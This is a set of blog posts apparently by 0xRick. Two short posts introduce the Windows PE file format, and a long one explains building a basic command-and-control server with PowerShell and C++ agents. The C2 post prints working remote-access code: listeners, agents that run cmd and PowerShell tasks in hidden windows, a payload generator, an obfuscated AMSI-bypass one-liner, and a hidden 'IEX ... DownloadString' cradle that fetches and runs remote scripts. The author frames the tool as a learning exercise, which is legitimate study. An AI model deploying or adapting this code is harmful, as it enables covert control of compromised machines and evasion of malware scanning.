In this post we talked about the first two parts of the PE file, the DOS header and the DOS stub, we looked at the members of the DOS header structure and we reversed the DOS stub program.
We also looked at the Rich Header, a structure that’s not essentially a part of the PE file format but was worth checking.

The following image summarizes what we’ve talked about in this post:

✇ 0xRick

A dive into the PE file format - PE file structure - Part 1: Overview

By: 0xRick

A dive into the PE file format - PE file structure - Part 1: Overview

Introduction

The aim of this post is to provide a basic introduction to the PE file structure without talking about any details.


PE files

PE stands for Portable Executable, it’s a file format for executables used in Windows operating systems, it’s based on the COFF file format (Common Object File Format).

Not only .exe files are PE files, dynamic link libraries (.dll), Kernel modules (.srv), Control panel applications (.cpl) and many others are also PE files.

A PE file is a data structure that holds information necessary for the OS loader to be able to load that executable into memory and execute it.


Structure Overview

A typical PE file follows the structure outlined in the following figure:

If we open an executable file with PE-bear we’ll see the same thing:

DOS Header

Every PE file starts with a 64-bytes-long structure called the DOS header, it’s what makes the PE file an MS-DOS executable.

DOS Stub

After the DOS header comes the DOS stub which is a small MS-DOS 2.0 compatible executable that just prints an error message saying “This program cannot be run in DOS mode” when the program is run in DOS mode.

NT Headers

The NT Headers part contains three main parts:

  • PE signature: A 4-byte signature that identifies the file as a PE file.
  • File Header: A standard COFF File Header. It holds some information about the PE file.
  • Optional Header: The most important header of the NT Headers, its name is the Optional Header because some files like object files don’t have it, however it’s required for image files (files like .exe files). This header provides important information to the OS loader.

Section Table

The section table follows the Optional Header immediately, it is an array of Image Section Headers, there’s a section header for every section in the PE file.
Each header contains information about the section it refers to.

Sections

Sections are where the actual contents of the file are stored, these include things like data and resources that the program uses, and also the actual code of the program, there are several sections each one with its own purpose.


Conclusion

In this post we looked at a very basic overview of the PE file structure and talked briefly about the main parts of a PE files.
In the upcoming posts we’ll talk about each one of these parts in much more detail.

✇ 0xRick

A dive into the PE file format - Introduction

By: 0xRick

A dive into the PE file format - Introduction

What is this ?

This is going to be a series of blog posts covering PE files in depth, it’s going to include a range of different topics, mainly the structure of PE files on disk and the way PE files get mapped and loaded into memory, we’ll also discuss applying that knowledge into building proof-of-concepts like PE parsers, packers and loaders, and also proof-of-concepts for some of the memory injection techniques that require this kind of knowledge, techniques like PE injection, process hollowing, dll reflective injection etc..

Why ?

The more I got into reverse engineering or malware development the more I found that knowledge about the PE file format is absolutely essential, I already knew the basics about PE files but I never learned about them properly.

Lately I have decided to learn about PE files, so the upcoming series of posts is going to be a documentation of what I’ve learned.

These posts are not going to cover anything new, there are a lot of resources that talk about the same thing, also the techniques that are going to be covered later have been known for some time. The goal is not to present anything new, the goal is to form a better understanding of things that already exist.

Contribution

If you’d like to add anything or if you found a mistake that needs correction feel free to contact me. Contact information can be found in the about page.

Update:

File structure - part 1: Overview
File structure - part 2: DOS Header, DOS Stub and Rich Header
File structure - part 3: NT Headers
File structure - part 4: Data Directories, Section Headers and Sections
File structure - part 5: PE Imports (Import Directory Table, ILT, IAT)
File structure - part 6: PE Base Relocations
File structure - lab1: Writing a PE Parser

✇ 0xRick

Building a Basic C2

By: 0xRick

Introduction

It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.

Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.

Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.

This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.

You can find the tool on github.

Overview

About c2 servers / agents

As far as I know,

A basic c2 server should be able to:

  • Start and stop listeners.
  • Generate payloads.
  • Handle agents and task them to do stuff.

An agent should be able to:

  • Download and execute its tasks.
  • Send results.
  • Persist.

A listener should be able to:

  • Handle multiple agents.
  • Host files.

And all communications should be encrypted.

About the Tool

The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.

I couldn’t come up with a nice name so I would appreciate suggestions.

Listeners

Basic Info

Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.

A Listener object is instantiated with a name, a port and an IP address to bind to:

class Listener:    

    def __init__(self, name, port, ipaddress):
        
        self.name       = name
        self.port       = port
        self.ipaddress  = ipaddress
        ...

Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:

...	
    	
self.Path       = "data/listeners/{}/".format(self.name)
self.keyPath    = "{}key".format(self.Path)
self.filePath   = "{}files/".format(self.Path)
self.agentsPath = "{}agents/".format(self.Path)
        
...
        
if os.path.exists(self.Path) == False:
    os.mkdir(self.Path)

if os.path.exists(self.agentsPath) == False:
    os.mkdir(self.agentsPath)

if os.path.exists(self.filePath) == False:
    os.mkdir(self.filePath)

...

After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):

...
    
if os.path.exists(self.keyPath) == False:
    
    key      = generateKey()
    self.key = key
    
    with open(self.keyPath, "wt") as f:
        f.write(key)
else:
    with open(self.keyPath, "rt") as f:
        self.key = f.read()
            
...

The Flask Application

The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.

/reg

/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.

When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.

With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.

@self.app.route("/reg", methods=['POST'])
def registerAgent():
    name     = ''.join(choice(ascii_uppercase) for i in range(6))
    remoteip = flask.request.remote_addr
    hostname = flask.request.form.get("name")
    Type     = flask.request.form.get("type")
    success("Agent {} checked in.".format(name))
    writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key))
    return (name, 200)

/tasks/<name>

/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.

It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).

@self.app.route("/tasks/<name>", methods=['GET'])
def serveTasks(name):
    if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)):
        
        with open("{}{}/tasks".format(self.agentsPath, name), "r") as f:
            task = f.read()
            clearAgentTasks(name)
        
        return(task,200)
    else:
        return ('',204)

/results/<name>

/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.

It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.

@self.app.route("/results/<name>", methods=['POST'])
def receiveResults(name):
    result = flask.request.form.get("result")
    displayResults(name, result)
    return ('',204)

/download/<name>

/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.

It reads the requested file from the files path and it sends it.

@self.app.route("/download/<name>", methods=['GET'])
def sendFile(name):
    f    = open("{}{}".format(self.filePath, name), "rt")
    data = f.read()
            
    f.close()
    return (data, 200)

/sc/<name>

/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.

It takes the script name, creates a download cradle in the following format:

IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME')

and prepends that with the oneliner and responds with the full line.

@self.app.route("/sc/<name>", methods=['GET'])
def sendScript(name):
    amsi     = "sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](\"{1}{0}\"-F'F','rE' ) ) ; ( GeT-VariaBle ( \"1Q2U\" +\"zX\" ) -VaL).\"A`ss`Embly\".\"GET`TY`Pe\"(( \"{6}{3}{1}{4}{2}{0}{5}\" -f'Util','A','Amsi','.Management.','utomation.','s','System' )).\"g`etf`iElD\"( ( \"{0}{2}{1}\" -f'amsi','d','InitFaile' ),(\"{2}{4}{0}{1}{3}\" -f 'Stat','i','NonPubli','c','c,' )).\"sE`T`VaLUE\"(${n`ULl},${t`RuE} ); "
    oneliner = "{}IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/download/{}\')".format(amsi,self.ipaddress,str(self.port),name)
    
    return (oneliner, 200)

Starting and Stopping

I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.

...
	
def run(self):
    self.app.logger.disabled = True
    self.app.run(port=self.port, host=self.ipaddress)

...
    
def start(self):
    
    self.server = Process(target=self.run)

    cli = sys.modules['flask.cli']
    cli.show_server_banner = lambda *x: None

    self.daemon = threading.Thread(name = self.name,
                                       target = self.server.start,
                                       args = ())
    self.daemon.daemon = True
    self.daemon.start()

    self.isRunning = True
    
def stop(self):
    
    self.server.terminate()
    self.server    = None
    self.daemon    = None
    self.isRunning = False

...

Agents

Basic Info

As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.

When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).

After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.

After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.

We can represent that in pseudo code like this:

get hostname
send [hostname, type], get name

loop{
	
	check if there are any new tasks
	
	if new_tasks{
    	
            execute tasks
    	    send results
    
    }
    
    else{
    	do nothing
    }
    
    sleep n 
}

So far, agents can only do two basic things, execute cmd and powershell.

PowerShell Agent

I won’t talk about the crypto functions here, I will leave that for the encryption part.

First 5 lines of the agent are just the basic variables which are the IP address, port, key, name and the time to sleep:

$ip   = "REPLACE_IP"
$port = "REPLACE_PORT"
$key  = "REPLACE_KEY"
$n    = 3
$name = ""

As mentioned earlier, It gets the hostname, sends the registration request and receives its name:

$hname = [System.Net.Dns]::GetHostName()
$type  = "p"
$regl  = ("http" + ':' + "//$ip" + ':' + "$port/reg")
$data  = @{
    name = "$hname" 
    type = "$type"
    }
$name  = (Invoke-WebRequest -UseBasicParsing -Uri $regl -Body $data -Method 'POST').Content

Based on the received name it creates the variables for the tasks uri and the results uri:

$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl   = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

Then it starts the infinite loop:

for (;;){
...
sleep $n
}

Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:

$task  = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content
    
    if (-Not [string]::IsNullOrEmpty($task)){

Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:

$task = Decrypt $key $task
$task = $task.split()
$flag = $task[0]

If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.

if ($flag -eq "VALID"){

After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:

$command = $task[1]
$args    = $task[2..$task.Length]

There are 5 valid commands, shell, powershell, rename, sleep and quit.

shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.

Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:

function shell($fname, $arg){
    
    $pinfo                        = New-Object System.Diagnostics.ProcessStartInfo
    $pinfo.FileName               = $fname
    $pinfo.RedirectStandardError  = $true
    $pinfo.RedirectStandardOutput = $true
    $pinfo.UseShellExecute        = $false
    $pinfo.Arguments              = $arg
    $p                            = New-Object System.Diagnostics.Process
    $p.StartInfo                  = $pinfo
    
    $p.Start() | Out-Null
    $p.WaitForExit()
    
    $stdout = $p.StandardOutput.ReadToEnd()
    $stderr = $p.StandardError.ReadToEnd()

    $res = "VALID $stdout`n$stderr"
    $res
}

It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.

Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:

if ($command -eq "shell"){
    $f    = "cmd.exe"
    $arg  = "/c "
            
    foreach ($a in $args){ $arg += $a + " " }

    $res  = shell $f $arg
    $res  = Encrypt $key $res
    $data = @{result = "$res"}
                
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

    }
    elseif ($command -eq "powershell"){
    
    $f    = "powershell.exe"
    $arg  = "/c "
            
    foreach ($a in $args){ $arg += $a + " " }

    $res  = shell $f $arg
    $res  = Encrypt $key $res
    $data = @{result = "$res"}
                
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

    }

The sleep command updates the n variable then sends an empty result indicating that it completed the task:

elseif ($command -eq "sleep"){
    $n    = [int]$args[0]
    $data = @{result = ""}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
    }

The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:

elseif ($command -eq "rename"){
    $name    = $args[0]
    $resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
    $taskl   = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")
    
    $data    = @{result = ""}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
    }

The quit command just exits:

elseif ($command -eq "quit"){
	exit
    }

C++ Agent

The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.

Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.


std::string Get(std::string ip, unsigned int port, std::string uri)
{
    std::wstring sip     = get_utf16(ip, CP_UTF8);
    std::wstring suri    = get_utf16(uri, CP_UTF8);

    std::string response;

    LPSTR pszOutBuffer;

    DWORD dwSize       = 0;
    DWORD dwDownloaded = 0;
    BOOL  bResults     = FALSE;
 
    HINTERNET hSession = NULL,
              hConnect = NULL,
              hRequest = NULL;

    hSession = WinHttpOpen(L"test",
                           WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                           WINHTTP_NO_PROXY_NAME,
                           WINHTTP_NO_PROXY_BYPASS,
                           0);

    if (hSession) {

        hConnect = WinHttpConnect(hSession,
                                  sip.c_str(),
                                  port,
                                  0);
    }

    if (hConnect) {

        hRequest = WinHttpOpenRequest(hConnect,
                                      L"GET", suri.c_str(),
                                      NULL,
                                      WINHTTP_NO_REFERER,
                                      WINHTTP_DEFAULT_ACCEPT_TYPES,
                                      0);
    }

    if (hRequest) {

        bResults = WinHttpSendRequest(hRequest,
                                      WINHTTP_NO_ADDITIONAL_HEADERS,
                                      0,
                                      WINHTTP_NO_REQUEST_DATA,
                                      0,
                                      0,
                                      0);
    }

    if (bResults) {

        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }

    if (bResults)
    {
        do
        {
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                dwSize = 0;
            }
            else
            {
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
                else {
                    
                    response = response + std::string(pszOutBuffer);
                    delete[] pszOutBuffer;
                }
            }
        } while (dwSize > 0);
    }

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return response;
}

std::string Post(std::string ip, unsigned int port, std::string uri, std::string dat)
{
    LPSTR data     = const_cast<char*>(dat.c_str());;
    DWORD data_len = strlen(data);

    LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
    DWORD headersLength       = -1;

    std::wstring sip     = get_utf16(ip, CP_UTF8);
    std::wstring suri    = get_utf16(uri, CP_UTF8);

    std::string response;

    LPSTR pszOutBuffer;

    DWORD dwSize       = 0;
    DWORD dwDownloaded = 0;
    BOOL  bResults     = FALSE;
 
    HINTERNET hSession = NULL,
              hConnect = NULL,
              hRequest = NULL;

    hSession = WinHttpOpen(L"test",
                           WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                           WINHTTP_NO_PROXY_NAME,
                           WINHTTP_NO_PROXY_BYPASS,
                           0);

    if (hSession) {

        hConnect = WinHttpConnect(hSession,
                                  sip.c_str(),
                                  port,
                                  0);
    }

    if (hConnect) {

        hRequest = WinHttpOpenRequest(hConnect,
                                      L"POST", suri.c_str(),
                                      NULL,
                                      WINHTTP_NO_REFERER,
                                      WINHTTP_DEFAULT_ACCEPT_TYPES,
                                      0);
    }

    if (hRequest) {

        bResults = WinHttpSendRequest(hRequest,
                                      additionalHeaders,
                                      headersLength,
                                      (LPVOID)data,
                                      data_len,
                                      data_len,
                                      0);
    }

    if (bResults) {

        bResults = WinHttpReceiveResponse(hRequest, NULL);
    }

    if (bResults)
    {
        do
        {
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                dwSize = 0;
            }
            else
            {
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
                else {
                    
                    response = response + std::string(pszOutBuffer);
                    delete[] pszOutBuffer;
                }
            }
        } while (dwSize > 0);
    }

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return response;

}

The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:


CStringA shell(const wchar_t* cmd)
{
    CStringA result;
    HANDLE hPipeRead, hPipeWrite;

    SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES)};
    saAttr.bInheritHandle = TRUE; 
    saAttr.lpSecurityDescriptor = NULL;

    
    if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0))
        return result;

    STARTUPINFOW si = {sizeof(STARTUPINFOW)};
    si.dwFlags     = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdOutput  = hPipeWrite;
    si.hStdError   = hPipeWrite;
    si.wShowWindow = SW_HIDE; 

    PROCESS_INFORMATION pi = { 0 };

    BOOL fSuccess = CreateProcessW(NULL, (LPWSTR)cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (! fSuccess)
    {
        CloseHandle(hPipeWrite);
        CloseHandle(hPipeRead);
        return result;
    }

    bool bProcessEnded = false;
    for (; !bProcessEnded ;)
    {
        bProcessEnded = WaitForSingleObject( pi.hProcess, 50) == WAIT_OBJECT_0;

        for (;;)
        {
            char buf[1024];
            DWORD dwRead = 0;
            DWORD dwAvail = 0;

            if (!::PeekNamedPipe(hPipeRead, NULL, 0, NULL, &dwAvail, NULL))
                break;

            if (!dwAvail)
                break;

            if (!::ReadFile(hPipeRead, buf, min(sizeof(buf) - 1, dwAvail), &dwRead, NULL) || !dwRead)
                break;

            buf[dwRead] = 0;
            result += buf;
        }
    }

    CloseHandle(hPipeWrite);
    CloseHandle(hPipeRead);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return result;
}

I would like to point out an important option in the process created by the shell function which is:

si.wShowWindow = SW_HIDE; 

This is responsible for hiding the console window, this is also added in the main() function of the agent to hide the console window:

int main(int argc, char const *argv[]) 
{

    ShowWindow(GetConsoleWindow(), SW_HIDE);
    ...

Agent Handler

Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.

An Agent object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:

class Agent:

    def __init__(self, name, listener, remoteip, hostname, Type, key):

        self.name      = name
        self.listener  = listener
        self.remoteip  = remoteip
        self.hostname  = hostname
        self.Type      = Type
        self.key       = key

Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:

self.sleept    = 3

After that it creates the needed directories and files:

self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:
    os.mkdir(self.Path)

And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.

self.menu = menu.Menu(self.name)
        
self.menu.registerCommand("shell", "Execute a shell command.", "<command>")
self.menu.registerCommand("powershell", "Execute a powershell command.", "<command>")
self.menu.registerCommand("sleep", "Change agent's sleep time.", "<time (s)>")
self.menu.registerCommand("clear", "Clear tasks.", "")
self.menu.registerCommand("quit", "Task agent to quit.", "")

self.menu.uCommands()

self.Commands = self.menu.Commands

I won’t talk about the wrapper functions because we only care about the core functions.

First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:

def writeTask(self, task):
    
    if self.Type == "p":
        task = "VALID " + task
        task = ENCRYPT(task, self.key)
    elif self.Type == "w":
        task = task
	
    with open(self.tasksPath, "w") as f:
            f.write(task)

As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).

Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:

def clearTasks(self):
    
    if os.path.exists(self.tasksPath):
        os.remove(self.tasksPath)
    else:
        pass

Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.

def update(self):
    
    self.menu.name = self.name
    self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
    self.tasksPath = "{}tasks".format(self.Path, self.name)
        
    if os.path.exists(self.Path) == False:
        os.mkdir(self.Path)

The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:

def shell(self, args):
    
    if len(args) == 0:
        error("Missing command.")
    else:
        command = " ".join(args)
        task    = "shell " + command
        self.writeTask(task)

The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:

def displayResults(name, result):

    if isValidAgent(name,0) == True:

        if result == "":
            success("Agent {} completed task.".format(name))
        else:
            
            key = agents[name].key
            
            if agents[name].Type == "p":

                try:
                    plaintext = DECRYPT(result, key)
                except:
                    return 0
            
                if plaintext[:5] == "VALID":
                    success("Agent {} returned results:".format(name))
                    print(plaintext[6:])
                else:
                    return 0
            
            else:
                success("Agent {} returned results:".format(name))
                print(result)

Payloads Generator

Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.

PowerShell

Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.

The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).

def powershell(listener, outputname):
    
    outpath = "/tmp/{}".format(outputname)
    ip      = listeners[listener].ipaddress
    port    = listeners[listener].port
    key     = listeners[listener].key

    with open("./lib/templates/powershell.ps1", "rt") as p:
        payload = p.read()

    payload = payload.replace('REPLACE_IP',ip)
    payload = payload.replace('REPLACE_PORT',str(port))
    payload = payload.replace('REPLACE_KEY', key)

    with open(outpath, "wt") as f:
        f.write(payload)
    
    with open("{}{}".format(listeners[listener].filePath, outputname), "wt") as f:
        f.write(payload)

    oneliner = "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/sc/{}\')\"".format(ip, str(port), outputname)

    success("File saved in: {}".format(outpath))
    success("One liner: {}".format(oneliner))

Windows Executable (C++ Agent)

It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.

It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.

The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.

In the source of the agent I added a few lines of code that do the following:

  • Open the file as a file stream.
  • Move to the end of the file.
  • Read 2 lines.
  • Save the first line in the IP variable.
  • Save the second line in the port variable.
  • Close the file stream.
std::ifstream ifs(argv[0]);
	
ifs.seekg(TEMPLATE_EOF);
	
std::getline(ifs, ip);
std::getline(ifs, sPort);

ifs.close();

To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.

For example this is the current definition of TEMPLATE_EOF for the x64 agent:

#define TEMPLATE_EOF 52736

If we take a look at the size of the file we’ll find that it’s the same:

# ls -la
-rwxrwxr-x 1 ... ... 52736 ... ... ... winexe64.exe

The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:

def winexe(listener, arch, outputname):

    outpath = "/tmp/{}".format(outputname)
    ip      = listeners[listener].ipaddress
    port    = listeners[listener].port

    if arch == "x64":
        copyfile("./lib/templates/winexe/winexe64.exe", outpath)
    elif arch == "x32":
        copyfile("./lib/templates/winexe/winexe32.exe", outpath)        
    
    with open(outpath, "a") as f:
        f.write("{}\n{}".format(ip,port))

    success("File saved in: {}".format(outpath))

Encryption

I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell can’t deal with big integers without the .NET class BigInteger, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES in powershell easily, however I couldn’t do the same in c++, so I decided to use a simple xor but again there were some issues, that’s why the winexe agent won’t be using any encryption until I figure out what to do.

Let’s take a look at the crypto functions in both the server and the powershell agent.

Server

The AESCipher class uses the AES class from the pycrypto library, it uses AES CBC 256.

An AESCipher object is instantiated with a key, it expects the key to be base-64 encoded:

class AESCipher:
    
    def __init__(self, key):

        self.key = base64.b64decode(key)
        self.bs  = AES.block_size

There are two functions to pad and unpad the text with zeros to match the block size:

def pad(self, s):
    return s + (self.bs - len(s) % self.bs) * "\x00"

def unpad(self, s):
    s = s.decode("utf-8")
    return s.rstrip("\x00")

The encryption function takes plain text, pads it, creates a random IV, encrypts the plain text and returns the IV + the cipher text base-64 encoded:

def encrypt(self, raw):
    
    raw      = self.pad(raw)
    iv       = Random.new().read(AES.block_size)
    cipher   = AES.new(self.key, AES.MODE_CBC, iv)
    
    return base64.b64encode(iv + cipher.encrypt(raw.encode("utf-8")))

The decryption function does the opposite:

def decrypt(self,enc):
    
    enc      = base64.b64decode(enc)
    iv       = enc[:16]
    cipher   = AES.new(self.key, AES.MODE_CBC, iv)
    plain    = cipher.decrypt(enc[16:])
    plain    = self.unpad(plain)
    
    return plain 

I created two wrapper function that rely on the AESCipher class to encrypt and decrypt data:

def ENCRYPT(PLAIN, KEY):

    c   = AESCipher(KEY)
    enc = c.encrypt(PLAIN)

    return enc.decode()

def DECRYPT(ENC, KEY):

    c   = AESCipher(KEY)
    dec = c.decrypt(ENC)

    return dec

And finally there’s the generateKey function which creates a random 32 bytes key and base-64 encodes it:

def generateKey():

    key    = base64.b64encode(os.urandom(32))
    return key.decode()

PowerShell Agent

The powershell agent uses the .NET class System.Security.Cryptography.AesManaged.

First function is the Create-AesManagedObject which instantiates an AesManaged object using the given key and IV. It’s a must to use the same options we decided to use on the server side which are CBC mode, zeros padding and 32 bytes key length:

function Create-AesManagedObject($key, $IV) {
    
    $aesManaged           = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode      = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding   = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize   = 256

After that it checks if the provided key and IV are of the type String (which means that the key or the IV is base-64 encoded), depending on that it decodes the data before using them, then it returns the AesManaged object.

if ($IV) {
        
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        
        else {
            $aesManaged.IV = $IV
        }
    }
    
    if ($key) {
        
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        
        else {
            $aesManaged.Key = $key
        }
    }
    
    $aesManaged
}

The Encrypt function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject function to create the AesManaged object and it encrypts the string with a random generated IV.

It returns the cipher text base-64 encoded.

function Encrypt($key, $unencryptedString) {
    
    $bytes             = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged        = Create-AesManagedObject $key
    $encryptor         = $aesManaged.CreateEncryptor()
    $encryptedData     = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    $aesManaged.Dispose()
